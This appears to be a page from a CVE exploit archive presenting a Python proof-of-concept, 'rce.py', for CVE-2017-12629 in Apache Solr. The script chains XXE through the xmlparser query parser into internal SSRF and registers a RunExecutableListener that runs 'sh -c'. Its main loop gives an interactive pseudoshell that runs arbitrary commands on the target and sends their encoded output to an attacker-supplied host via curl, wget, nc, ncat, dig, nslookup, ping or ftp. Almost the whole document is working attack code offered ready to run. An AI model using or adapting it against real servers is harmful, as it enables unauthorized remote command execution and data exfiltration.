4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rce.py PY
from urllib.parse import quote as urlEncode
import requests
import random
import urllib3
from urllib3.exceptions import InsecureRequestWarning
import argparse

# Suppress the InsecureRequestWarning specifically
urllib3.disable_warnings(InsecureRequestWarning)

##################
# HELPER FUNCTIONS
##################
 
def createUrlForPayload(payload: str, urlBaseExternal: str):
    baseUrl = f"{urlBaseExternal}/page.aspx/en/PAYLOAD?ReturnUrl=/page.aspx/en/buy/homepage" # replace PAYLOAD
    #urlForPayload = baseUrl.replace("PAYLOAD", urlEncode(payload))
    urlForPayload = baseUrl.replace("PAYLOAD", payload)
    return urlForPayload

def executeCommand(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str):
    # Create New collection
    collectionName = f"collection{random.randint(100000000000, 999999999999)}"
    requests.get(
        url=createUrlForPayload(
            payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/admin/collections?action=CREATE&name=COLLECTION_NAME&numShards=2"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("COLLECTION_NAME", collectionName),
            urlBaseExternal=urlBaseExternal
            ),
        verify=False
    )
    print(f"New collection created: '{collectionName}'")

    # Add a new RunExecutableListener
    listenerName = f"listener{random.randint(100000000000, 999999999999)}"
    commandArgsProcessed = str(commandArgs).replace("'","\"")
    streamBodyInPayload = urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}""".replace("LISTENER_NAME", listenerName).replace("COMMAND_BINARY", commandBinary).replace("COMMAND_CUR_DIR", commandCurDir).replace("COMMAND_ARGS", commandArgsProcessed))

    requests.get(
        url=createUrlForPayload(
            payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/select?q=xxx&qt=/newcollection/config?stream.body=STREAM_BODY&shards=SHARDS/"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("STREAM_BODY", streamBodyInPayload).replace("SHARDS", urlBaseInternal.lstrip("http://").lstrip("https://")),
            urlBaseExternal=urlBaseExternal
            ),
        verify=False
    )
    print(f"New RunExecutableListener created: '{listenerName}'")

    # Update "newcollection" to trigger execution of RunExecutableListener
    randomId = f"id{random.randint(100000000000, 999999999999)}"
    streamBodyInPayload = urlEncode('[{"id":"RANDOM_ID"}]'.replace("RANDOM_ID", randomId))

    requests.get(    
        url=createUrlForPayload(
            payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/update?stream.body=STREAM_BODY&commit=true&overwrite=true"><a></a>'}""".replace("STREAM_BODY", streamBodyInPayload).replace("URL_BASE_INTERNAL", urlBaseInternal).replace("ID_UPDATE", randomId),
            urlBaseExternal=urlBaseExternal
            ),
        verify=False
    )
    print(f"Updating collection's ID to '{randomId}' to trigger command execution")

######
# MAIN
######

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.description = "POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof"
    parser.add_argument("-ue", "--url-base-external", help="External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'", action="store", required=True)
    parser.add_argument("-ui", "--url-base-internal", help="Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default: 'https://127.0.0.1:8983'", action="store", required=True, default="https://127.0.0.1:8983")
    parser.add_argument("-b", "--bin", help="How to exfiltrate command output from target; default: 'curl'", choices=["curl", "wget", "ftp", "ping", "nc", "ncat", "nslookup", "dig"], default="curl", action='store')
    parser.add_argument("-e", "--exfil", help="Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.", required=True)
    parser.add_argument("-f", "--exfil-format", help="Format in which to exfil the command output; default: 'base32'", choices=["hex", "base32"], default="base32")
    args = parser.parse_args()

    if "EXFIL" not in args.exfil:
        print("'--exfil' needs EXFIL keyword. Use '--help'.")
        exit(0)

    # Start pseudoshell
    try:
        while True:
            commandToExecute = input("$ ") # May contain args, no problem

            # Decide how to exfil command output
            commandArgEmbedded = ""
            exfilDestination = ""
            if args.exfil_format == "hex":
                exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | xxd -p | tr -d '\\n')")
            else:
                exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | base32 -w 0 | tr -d '=\\n')")
    
            if args.bin == "curl":
                commandArgEmbedded = f"curl -k -s {exfilDestination}"
            elif args.bin == "wget":
                commandArgEmbedded = f"wget -q --spider --no-check-certificate {exfilDestination}"
            elif args.bin == "ftp":
                commandArgEmbedded = f"echo \"quit\" | ftp -n -q 5 {exfilDestination}"
            elif args.bin == "ping":
                commandArgEmbedded = f"ping -c 1 -W 5 {exfilDestination}"
            elif args.bin == "nc":
                commandArgEmbedded = f"nc -z -w 5 {exfilDestination}"
            elif args.bin == "ncat":
                commandArgEmbedded = f"ncat -z -w 5 {exfilDestination}"
            elif args.bin == "nslookup":
                commandArgEmbedded = f"nslookup {exfilDestination}"
            elif args.bin == "dig":
                commandArgEmbedded = f"dig {exfilDestination}"

            # Need to try multiple times to succeed because OOB DNS exfiltration is finnicky (though command should get executed after just one attempt)
            for tryNum in range(0, 9):
                print(f"> Attempt #{tryNum + 1}")
                executeCommand(
                    urlBaseExternal = args.url_base_external,
                    urlBaseInternal = args.url_base_internal,
                    commandBinary="sh",
                    commandArgs=["-c", f"\"{commandArgEmbedded}\""],
                    commandCurDir="/tmp"
                )
    except KeyboardInterrupt:
        print("[+] Pseudoshell quit")